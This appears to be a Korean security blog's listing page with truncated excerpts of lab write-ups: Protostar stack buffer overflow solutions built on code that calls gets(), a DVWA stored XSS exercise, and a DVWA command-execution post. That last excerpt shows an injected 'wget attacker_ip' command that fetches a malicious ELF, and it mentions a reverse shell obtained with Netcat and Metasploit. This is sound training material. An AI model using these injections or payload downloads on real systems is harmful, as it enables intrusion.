취약점분석 6

Stack Buffer Overflow(BOF) - stack5 문제 해결

stack5는 스택 버퍼 오버플로우(BOF) 문제로, 사용자가 입력한 값이 gets() 함수로 그대로 복사되면서 스택 영역을 침범할 수 있게 된다. 이를 이용하여서 쉘 코드를 삽입하고 코드의 흐름을 바꿔서 쉘을 획득할 수 있다. 코드 분석int main(int argc, char **argv){ char buffer[64]; gets(buffer);} gets() 함수는 입력 길이에 제한이 없기 때문에 buffer를 초과하여 입력하면 EIP를 덮을 수 있다. EIP를 쉘코드의 주소로 덮으면 임의의 코드를 실행할 수 있게 된다. 익스플로잇1. 오프셋(offset) 계산하기# 가상환경 만들기python3 -m venv ~/myenvsource ~/myenv/bin/activatepip3 ins..

Stack Buffer Overflow(BOF) - stack4 문제 해결

stack4는 gets() 함수로 인해 버퍼 오퍼플로우가 발생하고, 이로 인해 리턴 주소(EIP)를 조작해서 win() 함수를 실행하도록 만드는 문제이다. 코드 분석// 디버깅하면서 EIP 레지스터와 버퍼 오버플로우에 대해서 알아보자.#include // 이미 정의된 함수가 있는 라이브러리를 가져와 사용한다. #include #include #include void win(){ // win 함수 정의 및 선언 printf("code flow successfully changed\n");}int main(int argc, char **argv){ // main 함수 프로그램 실행 시 실행되는 함수 char buffer[64]; // 64 바이트 버퍼 생성 gets(buffer); /..

Stack Buffer Overflow(BOF) - stack3 문제 해결

stack3는 함수 포인터를 덮어서 흐름 제어를 바꾸는 BOF 문제이다. win() 함수를 호출하도록 함수 포인터를 조작해야 한다. 코드 분석// 함수 포인터에 대해서 공부하고 함수 포인터의 값을 덮어씌워 원하는 함수를 호출하도록 해보자.#include // #include는 이미 정의된 함수들이 있는 라이브러리를 가져와 쓴다. #include #include #include void win(){ // win 함수를 정의 printf("code flow successfully changed\n");}int main(int argc, char **argv){ // main 함수는 프로그램을 실행했을 때 실행되는 함수. volatile int (*fp)(); // 함수 포인터. 특정한 함수의..

Stack Buffer Overflow(BOF) - stack0 문제 해결

stack0 문제는 스택 기반 버퍼 오버플로우(Stack Buffer Overflow)의 가장 기초적인 개념을 이해하기 위한 실습이다. 사용자 입력을 제한 없이 받아서 변수 값을 조작하는 구조이다. 코드 분석 stack0.c#include #include #include int main(int argc, char **argv){ volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0){ printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); }} ..

[웹 모의해킹] XSS - Stored (저장형) 크로스 사이트 스크립팅 실

이번 실습에서는 DVWA 환경에서 저장형 XSS(Stored Cross Site Scripting) 취약점을 직접 실습해보았다. 저장형 XSS는 공격자가 입력한 악성 스크립트가 서버에 저장되고, 그 이후 페이지를 방문한 사용자에게 자동으로 실행되는 심각한 보안 취약점이다. 1. Low 보안 레벨 if( isset( $_POST[ 'btnSign' ] ) ) { $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); $message = stripslashes( $message ); $message = mysqli_real_escape_string($GLOBALS["___mysqli_st..

웹 해킹 & 보안 2025.07.03

[웹 모의해킹] Command Execution 2 - 명령어 실행 취약점 심화 실습

이번 실습은 DVWA의 Command Execution(명령어 실행) 취약점을 활용하여 리버스 쉘 획득, 파일 실행, 웹 서버 침투, 자동화 도구 제작까지 수행해 보는 고급 과정이다. 단순 명령어 삽입을 넘어 시스템 명령 실행을 통한 직접적인 시스템 제어가 가능함을 확인하였다. 1. 실습 환경공격자 : Kali LinuxTarget : Metasploitable2 (DVWA 설치)DVWA URL : http://target_ip/dvwa/vulnerabilities/exec/보안 레벨 : Low주요 도구 : Metasploit2, Netcat, Python, wget2. [Step 1] 악성 파일 다운로드 삽입한 명령어target_ip & wget attacker_ip ./abc.elfabc.elf는 ..

웹 해킹 & 보안 2025.05.30